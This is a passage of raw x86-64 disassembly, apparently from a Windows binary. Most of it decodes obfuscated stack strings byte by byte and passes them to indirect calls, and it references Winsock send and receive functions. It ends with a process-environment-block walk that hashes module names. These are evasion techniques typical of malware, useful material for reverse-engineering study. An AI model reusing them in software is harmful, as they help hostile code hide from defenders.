movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0x30
sub cl, al
mov eax, 0x5f
add cl, cl
add dl, cl
movzx ecx, r13b
and cl, 0x31
mov byte [rsp + 0x42], dl
add cl, cl
sub al, cl
mov ecx, 0x30
mov dword [rbp - 0x28], ecx
lea edx, [rax + r13]
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx eax, dl
and al, 0x32
sub cl, al
mov eax, 0x61
add cl, cl
add dl, cl
mov byte [rsp + 0x44], dl
movzx edx, byte [rsp + 0x45]
movzx ecx, dl
and cl, 0x33
add cl, cl
sub al, cl
mov ecx, 0x31
add dl, al
mov byte [rsp + 0x45], dl
movzx edx, byte [rsp + 0x46]
movzx eax, dl
and al, 0x34
sub cl, al
mov eax, 0x63
add cl, cl
add dl, cl
movzx ecx, r13b
and cl, 0x35
mov byte [rsp + 0x46], dl
movzx edx, byte [rsp + 0x48]
add cl, cl
sub al, cl
mov ecx, 0x32
add r13b, al
movzx eax, dl
and al, 0x36
mov byte [rsp + 0x47], r13b
mov r13, qword [rbp - 0x18]
sub cl, al
add cl, cl
add dl, cl
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x48], dl
call r13
xor r15d, r15d
mov dl, 0x84
movzx ecx, dl
mov qword [rsp + 0x39], r15
and cl, 0x30
mov dword [rsp + 0x41], r15d
add cl, cl
mov eax, 0xe0
sub al, cl
mov r8b, 0xb2
add dl, al
mov r9b, 0x86
mov byte [rsp + 0x30], dl
mov r10b, 0xba
mov r11b, 0x4a
mov bl, 0x81
mov dil, 0x8a
mov sil, 0x8b
mov r14b, 0x68
movzx ecx, r8b
mov eax, 0xe1
and cl, 0x31
add cl, cl
sub al, cl
movzx ecx, r9b
and cl, 0x32
add r8b, al
add cl, cl
mov byte [rsp + 0x31], r8b
mov eax, 0xe2
sub al, cl
movzx ecx, r10b
and cl, 0x33
add r9b, al
add cl, cl
mov byte [rsp + 0x32], r9b
mov eax, 0xe3
sub al, cl
movzx ecx, r11b
and cl, 0x34
add r10b, al
add cl, cl
mov byte [rsp + 0x33], r10b
mov eax, 0xe4
sub al, cl
movzx ecx, bl
and cl, 0x35
add r11b, al
add cl, cl
mov byte [rsp + 0x34], r11b
mov eax, 0xe5
sub al, cl
movzx ecx, dil
and cl, 0x36
add bl, al
add cl, cl
mov byte [rsp + 0x35], bl
mov eax, 0xe6
sub al, cl
movzx ecx, sil
and cl, 0x37
add dil, al
add cl, cl
mov byte [rsp + 0x36], dil
mov eax, 0xe7
sub al, cl
movzx ecx, r14b
and cl, 0x38
add sil, al
add cl, cl
mov byte [rsp + 0x37], sil
mov eax, 0xe8
sub al, cl
movzx ecx, r15b
and cl, 0x39
add r14b, al
add cl, cl
mov byte [rsp + 0x38], r14b
mov eax, 0xe9
sub al, cl
lea edx, [rax + r15]
mov eax, 0xea
mov byte [rsp + 0x39], dl
movzx edx, byte [rsp + 0x3a]
movzx ecx, dl
and cl, 0x3a
add cl, cl
sub al, cl
add dl, al
mov eax, 0xeb
mov byte [rsp + 0x3a], dl
movzx edx, byte [rsp + 0x3b]
movzx ecx, dl
and cl, 0x3b
add cl, cl
sub al, cl
add dl, al
mov byte [rsp + 0x3b], dl
movzx edx, byte [rsp + 0x3c]
movzx ecx, dl
and cl, 0x3c
mov eax, 0xec
add cl, cl
sub al, cl
add dl, al
mov eax, 0xed
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0x3d
add cl, cl
sub al, cl
add dl, al
mov eax, 0xee
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx ecx, dl
and cl, 0x3e
add cl, cl
sub al, cl
add dl, al
mov eax, 0xef
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x3f
add cl, cl
sub al, cl
add dl, al
mov eax, 0xf0
mov dword [rbp - 0x20], eax
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx ecx, dl
and cl, 0x40
add cl, cl
sub al, cl
movzx ecx, r15b
add dl, al
and cl, 0x41
add cl, cl
mov byte [rsp + 0x40], dl
mov eax, 0xf1
sub al, cl
lea edx, [rax + r15]
mov eax, 0xf2
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx ecx, dl
and cl, 0x42
add cl, cl
sub al, cl
add dl, al
mov eax, 0xf3
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0x43
add cl, cl
sub al, cl
add dl, al
mov eax, 0xf4
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx ecx, dl
and cl, 0x44
add cl, cl
sub al, cl
movzx ecx, r15b
add dl, al
and cl, 0x45
add cl, cl
mov byte [rsp + 0x44], dl
mov eax, 0xf5
sub al, cl
lea rcx, [rsp + 0x30]
add r15b, al
mov byte [rsp + 0x45], r15b
call r13
mov dl, 0x44
mov r8b, 0x51
movzx eax, dl
mov r10b, 0x42
and al, 0xa4
movzx edi, r10b
mov ecx, reloc.WS2_32.dll_sendto
mov r9b, 0x45
sub cl, al
mov r11b, 2
add cl, cl
mov eax, 0x29
add dl, cl
mov bl, 0x49
movzx ecx, r8b
mov byte [rsp + 0x30], dl
and cl, 0xa5
mov sil, 0x43
add cl, cl
mov r14b, 0xd0
sub al, cl
xorps xmm0, xmm0
add r8b, al
movd edx, xmm0
movzx eax, r9b
mov byte [rsp + 0x31], r8b
and al, 0xa6
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
xor r15d, r15d
add cl, cl
mov dword [rsp + 0x49], r15d
add r9b, cl
mov eax, 0x2b
movzx ecx, r10b
mov byte [rsp + 0x32], r9b
and cl, 0xa7
add cl, cl
sub al, cl
mov ecx, 0x16
add r10b, al
movzx eax, r11b
and al, 0xa8
mov byte [rsp + 0x33], r10b
sub cl, al
mov eax, 0x2d
add cl, cl
add r11b, cl
movzx ecx, bl
and cl, 0xa9
mov byte [rsp + 0x34], r11b
add cl, cl
sub al, cl
mov ecx, 0x17
add bl, al
movzx eax, dil
and al, 0xaa
mov byte [rsp + 0x35], bl
sub cl, al
movzx eax, sil
add cl, cl
and al, 0xab
add dil, cl
add al, al
sub r12b, al
mov byte [rsp + 0x36], dil
movzx eax, r14b
add sil, r12b
and al, 0xac
mov byte [rsp + 0x37], sil
mov ecx, 0x18
sub cl, al
mov eax, 0x31
add cl, cl
add r14b, cl
movzx ecx, dl
and cl, 0xad
mov byte [rsp + 0x38], r14b
add cl, cl
sub al, cl
add dl, al
movups xmmword [rsp + 0x39], xmm0
mov byte [rsp + 0x39], dl
movzx edx, byte [rsp + 0x3a]
mov ecx, 0x19
movzx eax, dl
and al, 0xae
sub cl, al
mov eax, 0x33
add cl, cl
add dl, cl
mov byte [rsp + 0x3a], dl
movzx edx, byte [rsp + 0x3b]
movzx ecx, dl
and cl, 0xaf
add cl, cl
sub al, cl
movzx ecx, byte [rsp + 0x3c]
add dl, al
movzx eax, cl
mov byte [rsp + 0x3b], dl
and al, 0xb0
mov edx, 0x1a
sub dl, al
mov eax, 0x35
add dl, dl
add cl, dl
movzx edx, byte [rsp + 0x3d]
mov byte [rsp + 0x3c], cl
movzx ecx, dl
and cl, 0xb1
add cl, cl
sub al, cl
mov ecx, 0x1b
add dl, al
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0xb2
sub cl, al
mov eax, 0x37
add cl, cl
add dl, cl
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0xb3
add cl, cl
sub al, cl
movzx ecx, byte [rsp + 0x40]
add dl, al
movzx eax, cl
mov byte [rsp + 0x3f], dl
and al, 0xb4
mov edx, 0x1c
sub dl, al
mov eax, 0x39
add dl, dl
add cl, dl
movzx edx, byte [rsp + 0x41]
mov byte [rsp + 0x40], cl
movzx ecx, dl
and cl, 0xb5
add cl, cl
sub al, cl
mov ecx, 0x1d
add dl, al
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0xb6
sub cl, al
mov eax, 0x3b
add cl, cl
add dl, cl
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0xb7
add cl, cl
sub al, cl
add dl, al
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx eax, dl
mov ecx, 0x1e
and al, 0xb8
sub cl, al
mov eax, 0x3d
add cl, cl
add dl, cl
mov byte [rsp + 0x44], dl
movzx edx, byte [rsp + 0x45]
movzx ecx, dl
and cl, 0xb9
add cl, cl
sub al, cl
mov ecx, dword [rbp - 0x70]
add dl, al
mov byte [rsp + 0x45], dl
movzx edx, byte [rsp + 0x46]
movzx eax, dl
and al, 0xba
sub cl, al
mov eax, 0x3f
add cl, cl
add dl, cl
mov byte [rsp + 0x46], dl
movzx edx, byte [rsp + 0x47]
movzx ecx, dl
and cl, 0xbb
add cl, cl
sub al, cl
mov ecx, 0x20
add dl, al
mov byte [rsp + 0x47], dl
movzx edx, byte [rsp + 0x48]
movzx eax, dl
and al, 0xbc
sub cl, al
mov eax, 0x41
add cl, cl
add dl, cl
movzx ecx, r15b
and cl, 0xbd
mov byte [rsp + 0x48], dl
movzx edx, byte [rsp + 0x4a]
add cl, cl
sub al, cl
mov ecx, 0x21
add r15b, al
movzx eax, dl
and al, 0xbe
mov byte [rsp + 0x49], r15b
sub cl, al
mov eax, 0x43
add cl, cl
add dl, cl
mov byte [rsp + 0x4a], dl
movzx edx, byte [rsp + 0x4b]
movzx ecx, dl
and cl, 0xbf
add cl, cl
sub al, cl
mov ecx, 0x22
add dl, al
mov byte [rsp + 0x4b], dl
movzx edx, byte [rsp + 0x4c]
movzx eax, dl
and al, 0xc0
sub cl, al
add cl, cl
add dl, cl
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x4c], dl
call r13
mov dil, reloc.WS2_32.dll_recvfrom
mov dl, 0xed
movzx esi, dil
mov r8b, 0xe9
mov r9b, 0xc8
mov r10b, 0xe2
mov r11b, 0xd0
mov bl, 0xd8
mov r14b, 0x16
xor eax, eax
mov ecx, 0x1e
mov qword [rbp - 0x30], rax
mov r15b, 0xe1
mov word [rsp + 0x4d], ax
mov r12b, 0x26
movzx eax, dl
mov r13b, 0x27
and al, 0x76
xorps xmm0, xmm0
sub cl, al
mov eax, 0x3d
add cl, cl
add dl, cl
movzx ecx, r8b
and cl, 0x77
mov byte [rsp + 0x30], dl
add cl, cl
sub al, cl
mov ecx, dword [rbp - 0x70]
add r8b, al
movzx eax, r9b
and al, 0x78
mov byte [rsp + 0x31], r8b
sub cl, al
mov eax, 0x3f
add cl, cl
add r9b, cl
movzx ecx, r10b
and cl, 0x79
mov byte [rsp + 0x32], r9b
add cl, cl
sub al, cl
mov ecx, 0x20
add r10b, al
movzx eax, r11b
and al, 0x7a
mov byte [rsp + 0x33], r10b
sub cl, al
mov eax, 0x41
add cl, cl
add r11b, cl
movzx ecx, bl
and cl, 0x7b
mov byte [rsp + 0x34], r11b
add cl, cl
sub al, cl
mov ecx, 0x21
add bl, al
movzx eax, dil
and al, 0x7c
mov byte [rsp + 0x35], bl
sub cl, al
mov eax, 0x43
add cl, cl
add dil, cl
movzx ecx, sil
and cl, 0x7d
mov byte [rsp + 0x36], dil
add cl, cl
sub al, cl
mov ecx, 0x22
add sil, al
movzx eax, r14b
and al, 0x7e
mov byte [rsp + 0x37], sil
sub cl, al
mov eax, 0x45
add cl, cl
add r14b, cl
movzx ecx, r15b
and cl, 0x7f
mov byte [rsp + 0x38], r14b
add cl, cl
sub al, cl
movzx ecx, r13b
add r15b, al
add r12b, 0x46
mov byte [rsp + 0x39], r15b
mov byte [rsp + 0x3a], r12b
movups xmmword [rsp + 0x3d], xmm0
and cl, 0x81
mov dl, 0xb8
add cl, cl
mov eax, 0x47
sub al, cl
mov ecx, 0x24
add r13b, al
movzx eax, dl
and al, 0x82
mov byte [rsp + 0x3b], r13b
sub cl, al
mov eax, 0x49
add cl, cl
add dl, cl
mov byte [rsp + 0x3c], dl
movd edx, xmm0
movzx ecx, dl
and cl, 0x83
add cl, cl
sub al, cl
mov ecx, 0x25
add dl, al
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x84
sub cl, al
mov eax, 0x4b
add cl, cl
add dl, cl
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x85
add cl, cl
sub al, cl
mov ecx, 0x26
add dl, al
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0x86
sub cl, al
mov eax, 0x4d
add cl, cl
add dl, cl
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0x87
add cl, cl
sub al, cl
mov ecx, 0x27
add dl, al
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0x88
sub cl, al
mov eax, 0x4f
add cl, cl
add dl, cl
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0x89
add cl, cl
sub al, cl
mov ecx, 0x28
add dl, al
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx eax, dl
and al, 0x8a
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x44], dl
movzx edx, byte [rsp + 0x45]
movzx ecx, dl
and cl, 0x8b
add cl, cl
mov eax, 0x51
sub al, cl
mov ecx, 0x29
add dl, al
mov byte [rsp + 0x45], dl
movzx edx, byte [rsp + 0x46]
movzx eax, dl
and al, 0x8c
sub cl, al
mov eax, 0x53
add cl, cl
add dl, cl
mov byte [rsp + 0x46], dl
movzx edx, byte [rsp + 0x47]
movzx ecx, dl
and cl, 0x8d
add cl, cl
sub al, cl
mov ecx, 0x2a
add dl, al
mov byte [rsp + 0x47], dl
movzx edx, byte [rsp + 0x48]
movzx eax, dl
and al, 0x8e
sub cl, al
mov eax, 0x55
add cl, cl
add dl, cl
mov byte [rsp + 0x48], dl
movzx edx, byte [rsp + 0x49]
movzx ecx, dl
and cl, 0x8f
add cl, cl
sub al, cl
mov ecx, 0x2b
add dl, al
mov byte [rsp + 0x49], dl
movzx edx, byte [rsp + 0x4a]
movzx eax, dl
and al, 0x90
sub cl, al
mov eax, 0x57
add cl, cl
add dl, cl
mov byte [rsp + 0x4a], dl
movzx edx, byte [rsp + 0x4b]
movzx ecx, dl
and cl, 0x91
add cl, cl
sub al, cl
movzx ecx, byte [rsp + 0x4c]
add dl, al
movzx eax, cl
mov byte [rsp + 0x4b], dl
and al, 0x92
mov edx, 0x2c
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x59
mov byte [rsp + 0x4c], cl
mov rcx, qword [rbp - 0x30]
movzx eax, cl
and al, 0x93
add al, al
sub dl, al
add cl, dl
movzx edx, byte [rsp + 0x4e]
mov byte [rsp + 0x4d], cl
movzx eax, dl
and al, 0x94
mov ecx, 0x2d
sub cl, al
add cl, cl
add dl, cl
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x4e], dl
call qword [rbp - 0x18]
mov dl, 0xe1
mov r8b, 0xe5
xor eax, eax
movzx ecx, dl
and cl, 0x92
mov qword [rbp - 0x30], rax
add cl, cl
mov word [rsp + 0x4c], ax
mov eax, 0x94
mov r9b, 0xe6
sub al, cl
mov r10b, 0xf3
add dl, al
movzx ecx, r8b
and cl, 0x93
mov byte [rsp + 0x30], dl
add cl, cl
mov eax, 0x95
sub al, cl
mov r11b, 0xf5
add r8b, al
movzx ecx, r9b
and cl, 0x94
mov byte [rsp + 0x31], r8b
add cl, cl
mov eax, 0x96
sub al, cl
mov bl, 0xfc
add r9b, al
movzx ecx, r10b
and cl, 0x95
mov byte [rsp + 0x32], r9b
add cl, cl
mov eax, 0x97
sub al, cl
mov dil, 0xfb
add r10b, al
movzx ecx, r11b
and cl, 0x96
mov byte [rsp + 0x33], r10b
add cl, cl
mov eax, 0x98
sub al, cl
mov sil, 0xb5
add r11b, al
movzx ecx, bl
and cl, 0x97
mov byte [rsp + 0x34], r11b
add cl, cl
mov eax, 0x99
sub al, cl
mov r14b, 0xf8
add bl, al
movzx ecx, dil
and cl, 0x98
mov byte [rsp + 0x35], bl
add cl, cl
mov eax, 0x9a
sub al, cl
mov r15b, 0xf1
add dil, al
movzx ecx, sil
and cl, 0x99
mov byte [rsp + 0x36], dil
add cl, cl
mov eax, 0x9b
sub al, cl
xorps xmm0, xmm0
add sil, al
movzx ecx, r14b
and cl, 0x9a
mov byte [rsp + 0x37], sil
add cl, cl
mov eax, 0x9c
sub al, cl
mov r12b, 0xf6
add r14b, al
movzx ecx, r15b
and cl, 0x9b
mov byte [rsp + 0x38], r14b
add cl, cl
mov r13b, 0x63
movups xmmword [rsp + 0x3c], xmm0
movd edx, xmm0
mov eax, 0x9d
sub al, cl
movzx ecx, r12b
and cl, 0x9c
add r15b, al
add cl, cl
mov byte [rsp + 0x39], r15b
mov eax, 0x9e
sub al, cl
movzx ecx, r13b
and cl, 0x9d
add r12b, al
add cl, cl
mov byte [rsp + 0x3a], r12b
mov eax, 0x9f
sub al, cl
movzx ecx, dl
and cl, 0x9e
add r13b, al
add cl, cl
mov byte [rsp + 0x3b], r13b
mov eax, 0xa0
sub al, cl
add dl, al
mov eax, 0xa1
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0x9f
add cl, cl
sub al, cl
add dl, al
mov eax, 0xa2
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx ecx, dl
and cl, 0xa0
add cl, cl
sub al, cl
add dl, al
mov eax, 0xa3
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0xa1
add cl, cl
sub al, cl
add dl, al
mov eax, 0xa4
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx ecx, dl
and cl, 0xa2
add cl, cl
sub al, cl
add dl, al
mov eax, 0xa5
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0xa3
add cl, cl
sub al, cl
movzx ecx, byte [rsp + 0x42]
add dl, al
movzx eax, cl
and al, 0xa4
mov byte [rsp + 0x41], dl
add al, al
mov edx, 0xa6
sub dl, al
add cl, dl
mov edx, 0xa7
mov byte [rsp + 0x42], cl
movzx ecx, byte [rsp + 0x43]
movzx eax, cl
and al, 0xa5
add al, al
sub dl, al
add cl, dl
mov byte [rsp + 0x43], cl
mov edx, 0xa8
movzx ecx, byte [rsp + 0x44]
movzx eax, cl
and al, 0xa6
add al, al
sub dl, al
add cl, dl
mov edx, 0xa9
mov byte [rsp + 0x44], cl
movzx ecx, byte [rsp + 0x45]
movzx eax, cl
and al, 0xa7
add al, al
sub dl, al
add cl, dl
mov edx, 0xaa
mov byte [rsp + 0x45], cl
movzx ecx, byte [rsp + 0x46]
movzx eax, cl
and al, 0xa8
add al, al
sub dl, al
add cl, dl
mov edx, 0xab
mov byte [rsp + 0x46], cl
movzx ecx, byte [rsp + 0x47]
movzx eax, cl
and al, 0xa9
add al, al
sub dl, al
add cl, dl
mov edx, 0xac
mov byte [rsp + 0x47], cl
movzx ecx, byte [rsp + 0x48]
movzx eax, cl
and al, 0xaa
add al, al
sub dl, al
add cl, dl
mov edx, 0xad
mov byte [rsp + 0x48], cl
movzx ecx, byte [rsp + 0x49]
movzx eax, cl
and al, 0xab
add al, al
sub dl, al
add cl, dl
mov edx, 0xae
mov byte [rsp + 0x49], cl
movzx ecx, byte [rsp + 0x4a]
movzx eax, cl
and al, 0xac
add al, al
sub dl, al
add cl, dl
mov edx, 0xaf
mov byte [rsp + 0x4a], cl
movzx ecx, byte [rsp + 0x4b]
movzx eax, cl
and al, 0xad
add al, al
sub dl, al
add cl, dl
mov edx, 0xb0
mov byte [rsp + 0x4b], cl
mov rcx, qword [rbp - 0x30]
movzx eax, cl
and al, 0xae
add al, al
sub dl, al
add cl, dl
mov edx, 0xb1
mov byte [rsp + 0x4c], cl
movzx ecx, byte [rsp + 0x4d]
movzx eax, cl
and al, 0xaf
add al, al
sub dl, al
add cl, dl
mov byte [rsp + 0x4d], cl
lea rcx, [rsp + 0x30]
call qword [rbp - 0x18]
xor eax, eax
mov dl, 0x9b
mov qword [rbp - 0x30], rax
movzx ecx, dl
and cl, 0x87
mov word [rbp - 0x7b], ax
add cl, cl
mov eax, 0xd6
sub al, cl
mov r8b, 0x9e
add dl, al
movzx ecx, r8b
and cl, 0x88
mov byte [rsp + 0x78], dl
add cl, cl
mov eax, 0xd7
sub al, cl
mov r9b, 0xaa
add r8b, al
movzx ecx, r9b
and cl, 0x89
mov byte [rsp + 0x79], r8b
add cl, cl
mov eax, 0xd8
sub al, cl
mov r10b, 0x95
add r9b, al
movzx ecx, r10b
and cl, 0x8a
mov byte [rsp + 0x7a], r9b
add cl, cl
mov eax, 0xd9
sub al, cl
mov r11b, 0x9d
add r10b, al
movzx ecx, r11b
and cl, 0x8b
mov byte [rsp + 0x7b], r10b
add cl, cl
mov eax, 0xda
sub al, cl
mov bl, 0x91
add r11b, al
movzx ecx, bl
mov eax, 0xdb
mov byte [rsp + 0x7c], r11b
mov dil, 0x69
mov sil, WSAGetLastError
mov r14b, 0x50
mov r12b, 0x8c
and cl, r12b
mov r13b, 0x8f
add cl, cl
mov r15b, 0x85
sub al, cl
movzx ecx, dil
and cl, 0x8d
add bl, al
add cl, cl
mov byte [rsp + 0x7d], bl
mov eax, 0xdc
sub al, cl
movzx ecx, sil
and cl, 0x8e
add dil, al
add cl, cl
mov byte [rsp + 0x7e], dil
mov eax, 0xdd
sub al, cl
movzx ecx, r14b
add sil, al
and cl, r13b
add cl, cl
mov byte [rsp + 0x7f], sil
mov eax, 0xde
sub al, cl
movzx ecx, r15b
add r14b, al
mov byte [rbp - 0x80], r14b
and cl, 0x90
mov r8d, 0xe3
add cl, cl
mov eax, 0xdf
sub al, cl
mov edx, 0xe2
add r15b, al
mov ecx, 0xe0
movzx eax, r12b
mov byte [rbp - 0x7f], r15b
mov r15, qword [rbp - 0x18]
and al, 0x91
add al, al
sub cl, al
movzx eax, r13b
and al, 0x92
add r12b, cl
add al, al
mov byte [rbp - 0x7e], r12b
mov ecx, 0xe1
sub cl, al
add r13b, cl
mov cl, 0x22
movzx eax, cl
mov byte [rbp - 0x7d], r13b
and al, 0x93
add al, al
sub dl, al
add cl, dl
mov rdx, qword [rbp - 0x30]
mov byte [rbp - 0x7c], cl
movzx eax, dl
and al, 0x94
add al, al
sub r8b, al
lea ecx, [r8 + rdx]
mov r8d, 0xe4
mov byte [rbp - 0x7b], cl
movzx ecx, byte [rbp - 0x7a]
movzx eax, cl
and al, 0x95
add al, al
sub r8b, al
movzx eax, dl
add cl, r8b
and al, 0x96
mov byte [rbp - 0x7a], cl
add al, al
mov ecx, 0xe5
sub cl, al
add dl, cl
lea rcx, [rsp + 0x78]
mov byte [rbp - 0x79], dl
call r15
mov dl, 0xe
mov ecx, 0x34
movzx eax, dl
mov r8b, 0xa
and al, 0xc4
xor r14d, r14d
sub cl, al
mov qword [rbp - 0x80], r14
add cl, cl
mov eax, 0x69
add dl, cl
mov r9b, 3
movzx ecx, r8b
mov byte [rsp + 0x78], dl
and cl, 0xc5
mov r10b, 0x4d
add cl, cl
mov r11b, 8
sub al, cl
mov bl, 1
add r8b, al
mov dil, 2
movzx eax, r9b
mov byte [rsp + 0x79], r8b
and al, 0xc6
mov sil, 0x97
mov ecx, 0x35
sub cl, al
mov eax, WSAGetLastError
add cl, cl
add r9b, cl
movzx ecx, r10b
and cl, 0xc7
mov byte [rsp + 0x7a], r9b
add cl, cl
sub al, cl
mov ecx, 0x36
add r10b, al
movzx eax, r11b
and al, 0xc8
mov byte [rsp + 0x7b], r10b
sub cl, al
mov eax, WSAGetLastError
add cl, cl
add r11b, cl
movzx ecx, bl
and cl, 0xc9
mov byte [rsp + 0x7c], r11b
add cl, cl
sub al, cl
mov ecx, 0x37
add bl, al
movzx eax, dil
and al, 0xca
mov byte [rsp + 0x7d], bl
sub cl, al
mov eax, reloc.WS2_32.dll_WSAGetLastError
add cl, cl
add dil, cl
movzx ecx, sil
and cl, 0xcb
mov byte [rsp + 0x7e], dil
add cl, cl
sub al, cl
mov ecx, 0x38
add sil, al
movzx eax, r14b
and al, 0xcc
mov byte [rsp + 0x7f], sil
sub cl, al
mov eax, 0x71
add cl, cl
lea edx, [rcx + r14]
mov byte [rbp - 0x80], dl
movzx edx, byte [rbp - 0x7f]
movzx ecx, dl
and cl, 0xcd
add cl, cl
sub al, cl
mov ecx, 0x39
add dl, al
mov byte [rbp - 0x7f], dl
movzx edx, byte [rbp - 0x7e]
movzx eax, dl
and al, 0xce
sub cl, al
mov eax, 0x73
add cl, cl
add dl, cl
mov byte [rbp - 0x7e], dl
movzx edx, byte [rbp - 0x7d]
movzx ecx, dl
and cl, 0xcf
add cl, cl
sub al, cl
mov ecx, 0x3a
add dl, al
mov byte [rbp - 0x7d], dl
movzx edx, byte [rbp - 0x7c]
movzx eax, dl
and al, 0xd0
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x7c], dl
movzx edx, byte [rbp - 0x7b]
movzx ecx, dl
and cl, 0xd1
add cl, cl
mov eax, 0x75
sub al, cl
mov ecx, 0x3b
add dl, al
mov byte [rbp - 0x7b], dl
movzx edx, byte [rbp - 0x7a]
movzx eax, dl
and al, 0xd2
sub cl, al
mov eax, 0x77
add cl, cl
add dl, cl
mov byte [rbp - 0x7a], dl
movzx edx, byte [rbp - 0x79]
movzx ecx, dl
and cl, 0xd3
add cl, cl
sub al, cl
mov ecx, 0x3c
add dl, al
movzx eax, r14b
and al, 0xd4
mov byte [rbp - 0x79], dl
sub cl, al
add cl, cl
add r14b, cl
lea rcx, [rsp + 0x78]
mov byte [rbp - 0x78], r14b
call r15
mov dl, 0x73
mov ecx, 0x20
movzx eax, dl
mov r8b, 0x69
and al, 0x20
xor r13d, r13d
sub cl, al
mov dword [rbp - 0x7d], r13d
add cl, cl
mov word [rbp - 0x79], r13w
add dl, cl
mov eax, 0x41
movzx ecx, r8b
mov byte [rsp + 0x78], dl
and cl, 0x21
mov r9b, 0x61
add cl, cl
mov r10b, 0x6c
sub al, cl
mov r11b, 0x76
add r8b, al
mov ecx, 0x21
movzx eax, r9b
mov byte [rsp + 0x79], r8b
and al, 0x22
mov bl, 0x60
sub cl, al
mov dil, 0x28
add cl, cl
mov eax, 0x43
add r9b, cl
mov sil, 0x63
movzx ecx, r10b
mov byte [rsp + 0x7a], r9b
and cl, 0x23
mov r14b, 0x64
add cl, cl
mov r15b, 0x65
sub al, cl
mov r12b, 0xca
add r10b, al
mov ecx, 0x22
movzx eax, r11b
mov byte [rsp + 0x7b], r10b
and al, 0x24
sub cl, al
add cl, cl
add r11b, cl
movzx ecx, bl
and cl, 0x25
mov byte [rsp + 0x7c], r11b
add cl, cl
mov eax, 0x45
sub al, cl
mov ecx, 0x23
add bl, al
movzx eax, dil
and al, 0x26
mov byte [rsp + 0x7d], bl
sub cl, al
mov eax, 0x47
add cl, cl
add dil, cl
movzx ecx, sil
and cl, 0x27
mov byte [rsp + 0x7e], dil
add cl, cl
sub al, cl
mov ecx, 0x24
add sil, al
movzx eax, r14b
and al, 0x28
mov byte [rsp + 0x7f], sil
sub cl, al
mov eax, 0x49
add cl, cl
add r14b, cl
movzx ecx, r15b
and cl, 0x29
mov byte [rbp - 0x80], r14b
add cl, cl
sub al, cl
mov ecx, 0x25
add r15b, al
movzx eax, r12b
and al, 0x2a
mov byte [rbp - 0x7f], r15b
sub cl, al
mov eax, 0x4b
add cl, cl
add r12b, cl
movzx ecx, r13b
and cl, 0x2b
mov byte [rbp - 0x7e], r12b
add cl, cl
sub al, cl
mov ecx, 0x26
lea edx, [rax + r13]
mov byte [rbp - 0x7d], dl
movzx edx, byte [rbp - 0x7c]
movzx eax, dl
and al, 0x2c
sub cl, al
mov eax, 0x4d
add cl, cl
add dl, cl
mov byte [rbp - 0x7c], dl
movzx edx, byte [rbp - 0x7b]
movzx ecx, dl
and cl, 0x2d
add cl, cl
sub al, cl
mov ecx, 0x27
add dl, al
mov byte [rbp - 0x7b], dl
movzx edx, byte [rbp - 0x7a]
movzx eax, dl
and al, 0x2e
sub cl, al
mov eax, 0x4f
add cl, cl
add dl, cl
movzx ecx, r13b
and cl, 0x2f
mov byte [rbp - 0x7a], dl
movzx edx, byte [rbp - 0x78]
add cl, cl
sub al, cl
add r13b, al
movzx eax, dl
and al, 0x30
mov byte [rbp - 0x79], r13b
mov ecx, 0x28
sub cl, al
add cl, cl
add dl, cl
lea rcx, [rsp + 0x78]
mov byte [rbp - 0x78], dl
call qword [rbp - 0x18]
mov rax, qword gs:[0x60]
xor r13d, r13d
mov r14d, r13d
mov esi, 0x78a2a92c
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14000c568
cmp word [rax + 0x48], r13w
je 0x14000c568
mov ecx, dword [rax + 0x58]
sub cx, 8
test r14d, r14d
je 0x14000c3f3
mov r9, qword [rax + 0x60]
mov r10d, 0x25f69b6d
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
cmp r9, rbx
je 0x14000c3ea
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
add r9, 2
xor r8d, r10d
